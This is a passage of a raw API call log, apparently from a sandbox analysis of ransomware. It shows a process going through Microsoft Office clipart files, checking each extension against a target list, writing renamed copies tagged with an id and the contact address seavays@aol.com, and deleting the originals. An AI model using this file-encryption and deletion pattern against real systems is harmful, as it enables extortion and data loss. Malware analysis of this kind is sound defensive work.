(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0079.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0079.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0079.020] lstrlenW (lpString=".doc") returned 4 [0079.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.021] lstrlenW (lpString=".docx") returned 5 [0079.021] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0079.021] lstrlenW (lpString=".pdf") returned 4 [0079.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.021] lstrlenW (lpString=".xls") returned 4 [0079.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.021] lstrlenW (lpString=".xlsx") returned 5 [0079.021] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0079.021] lstrlenW (lpString=".ppt") returned 4 [0079.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0079.021] lstrlenW (lpString=".zip") returned 4 [0079.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.021] lstrlenW (lpString=".rar") returned 4 [0079.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.021] lstrlenW (lpString=".bz2") returned 4 [0079.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.021] lstrlenW (lpString=".7z") returned 3 [0079.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0079.021] lstrlenW (lpString=".dbf") returned 4 [0079.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0079.021] lstrlenW (lpString=".1cd") returned 4 [0079.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0079.021] lstrlenW (lpString=".jpg") returned 4 [0079.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.022] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.022] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0079.023] GetLastError () returned 0x0 [0079.023] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x11dfe, lpOverlapped=0x0) returned 1 [0079.025] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x11e00, lpOverlapped=0x0) returned 1 [0079.028] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.028] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.028] SetEndOfFile (hFile=0x2f4) returned 1 [0079.028] CloseHandle (hObject=0x2f4) returned 1 [0079.028] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.028] SetEndOfFile (hFile=0x37c) returned 1 [0079.030] CloseHandle (hObject=0x37c) returned 1 [0079.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0079.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0079.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0079.031] lstrlenW (lpString=".doc") returned 4 [0079.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.031] lstrlenW (lpString=".docx") returned 5 [0079.031] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0079.031] lstrlenW (lpString=".pdf") returned 4 [0079.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.031] lstrlenW (lpString=".xls") returned 4 [0079.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.032] lstrlenW (lpString=".xlsx") returned 5 [0079.032] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0079.032] lstrlenW (lpString=".ppt") returned 4 [0079.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0079.032] lstrlenW (lpString=".zip") returned 4 [0079.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.032] lstrlenW (lpString=".rar") returned 4 [0079.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.032] lstrlenW (lpString=".bz2") returned 4 [0079.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.032] lstrlenW (lpString=".7z") returned 3 [0079.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0079.032] lstrlenW (lpString=".dbf") returned 4 [0079.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0079.032] lstrlenW (lpString=".1cd") returned 4 [0079.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0079.032] lstrlenW (lpString=".jpg") returned 4 [0079.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.034] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.034] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0079.034] GetLastError () returned 0x0 [0079.034] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x559a, lpOverlapped=0x0) returned 1 [0079.036] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0079.038] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.038] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.038] SetEndOfFile (hFile=0x2f4) returned 1 [0079.038] CloseHandle (hObject=0x2f4) returned 1 [0079.038] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.038] SetEndOfFile (hFile=0x37c) returned 1 [0079.039] CloseHandle (hObject=0x37c) returned 1 [0079.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0079.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0079.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0079.040] lstrlenW (lpString=".doc") returned 4 [0079.040] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.040] lstrlenW (lpString=".docx") returned 5 [0079.040] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0079.040] lstrlenW (lpString=".pdf") returned 4 [0079.040] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.040] lstrlenW (lpString=".xls") returned 4 [0079.040] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.040] lstrlenW (lpString=".xlsx") returned 5 [0079.040] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0079.040] lstrlenW (lpString=".ppt") returned 4 [0079.040] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0079.040] lstrlenW (lpString=".zip") returned 4 [0079.040] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.040] lstrlenW (lpString=".rar") returned 4 [0079.040] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.040] lstrlenW (lpString=".bz2") returned 4 [0079.040] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.040] lstrlenW (lpString=".7z") returned 3 [0079.040] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0079.041] lstrlenW (lpString=".dbf") returned 4 [0079.041] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0079.041] lstrlenW (lpString=".1cd") returned 4 [0079.041] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0079.041] lstrlenW (lpString=".jpg") returned 4 [0079.041] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.041] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.041] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0079.042] GetLastError () returned 0x0 [0079.042] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x65e6, lpOverlapped=0x0) returned 1 [0079.044] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x65f0, lpOverlapped=0x0) returned 1 [0079.045] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.045] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.045] SetEndOfFile (hFile=0x2f4) returned 1 [0079.046] CloseHandle (hObject=0x2f4) returned 1 [0079.046] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.046] SetEndOfFile (hFile=0x37c) returned 1 [0079.047] CloseHandle (hObject=0x37c) returned 1 [0079.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0079.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0079.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0079.048] lstrlenW (lpString=".doc") returned 4 [0079.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.048] lstrlenW (lpString=".docx") returned 5 [0079.048] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0079.048] lstrlenW (lpString=".pdf") returned 4 [0079.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.048] lstrlenW (lpString=".xls") returned 4 [0079.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.048] lstrlenW (lpString=".xlsx") returned 5 [0079.048] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0079.048] lstrlenW (lpString=".ppt") returned 4 [0079.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0079.048] lstrlenW (lpString=".zip") returned 4 [0079.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.048] lstrlenW (lpString=".rar") returned 4 [0079.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.048] lstrlenW (lpString=".bz2") returned 4 [0079.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.048] lstrlenW (lpString=".7z") returned 3 [0079.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0079.048] lstrlenW (lpString=".dbf") returned 4 [0079.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0079.049] lstrlenW (lpString=".1cd") returned 4 [0079.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0079.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0079.049] lstrlenW (lpString=".jpg") returned 4 [0079.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0079.049] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.049] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0079.050] GetLastError () returned 0x0 [0079.050] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2dae, lpOverlapped=0x0) returned 1 [0079.411] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2db0, lpOverlapped=0x0) returned 1 [0079.413] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.413] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.413] SetEndOfFile (hFile=0x2f4) returned 1 [0079.413] CloseHandle (hObject=0x2f4) returned 1 [0079.413] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.413] SetEndOfFile (hFile=0x37c) returned 1 [0079.414] CloseHandle (hObject=0x37c) returned 1 [0079.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0079.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0079.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0079.416] lstrlenW (lpString=".doc") returned 4 [0079.416] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0079.416] lstrlenW (lpString=".docx") returned 5 [0079.416] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0079.416] lstrlenW (lpString=".pdf") returned 4 [0079.416] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0079.416] lstrlenW (lpString=".xls") returned 4 [0079.416] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0079.416] lstrlenW (lpString=".xlsx") returned 5 [0079.416] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0079.416] lstrlenW (lpString=".ppt") returned 4 [0079.416] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0079.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0079.416] lstrlenW (lpString=".zip") returned 4 [0079.416] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0079.416] lstrlenW (lpString=".rar") returned 4 [0079.416] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0079.416] lstrlenW (lpString=".bz2") returned 4 [0079.416] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0079.416] lstrlenW (lpString=".7z") returned 3 [0079.417] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0079.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0079.417] lstrlenW (lpString=".dbf") returned 4 [0079.417] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0079.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0079.417] lstrlenW (lpString=".1cd") returned 4 [0079.417] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0079.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0079.417] lstrlenW (lpString=".jpg") returned 4 [0079.417] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0079.418] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.418] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0079.418] GetLastError () returned 0x0 [0079.419] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x5754, lpOverlapped=0x0) returned 1 [0079.421] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x5760, lpOverlapped=0x0) returned 1 [0079.423] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.423] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.423] SetEndOfFile (hFile=0x2f4) returned 1 [0079.423] CloseHandle (hObject=0x2f4) returned 1 [0079.423] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.424] SetEndOfFile (hFile=0x37c) returned 1 [0079.425] CloseHandle (hObject=0x37c) returned 1 [0079.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0079.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0079.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0079.426] lstrlenW (lpString=".doc") returned 4 [0079.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0079.426] lstrlenW (lpString=".docx") returned 5 [0079.426] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0079.426] lstrlenW (lpString=".pdf") returned 4 [0079.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0079.426] lstrlenW (lpString=".xls") returned 4 [0079.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0079.426] lstrlenW (lpString=".xlsx") returned 5 [0079.426] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0079.426] lstrlenW (lpString=".ppt") returned 4 [0079.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0079.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0079.426] lstrlenW (lpString=".zip") returned 4 [0079.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0079.427] lstrlenW (lpString=".rar") returned 4 [0079.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0079.427] lstrlenW (lpString=".bz2") returned 4 [0079.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0079.427] lstrlenW (lpString=".7z") returned 3 [0079.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0079.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0079.427] lstrlenW (lpString=".dbf") returned 4 [0079.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0079.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0079.427] lstrlenW (lpString=".1cd") returned 4 [0079.427] lstrcmpiW 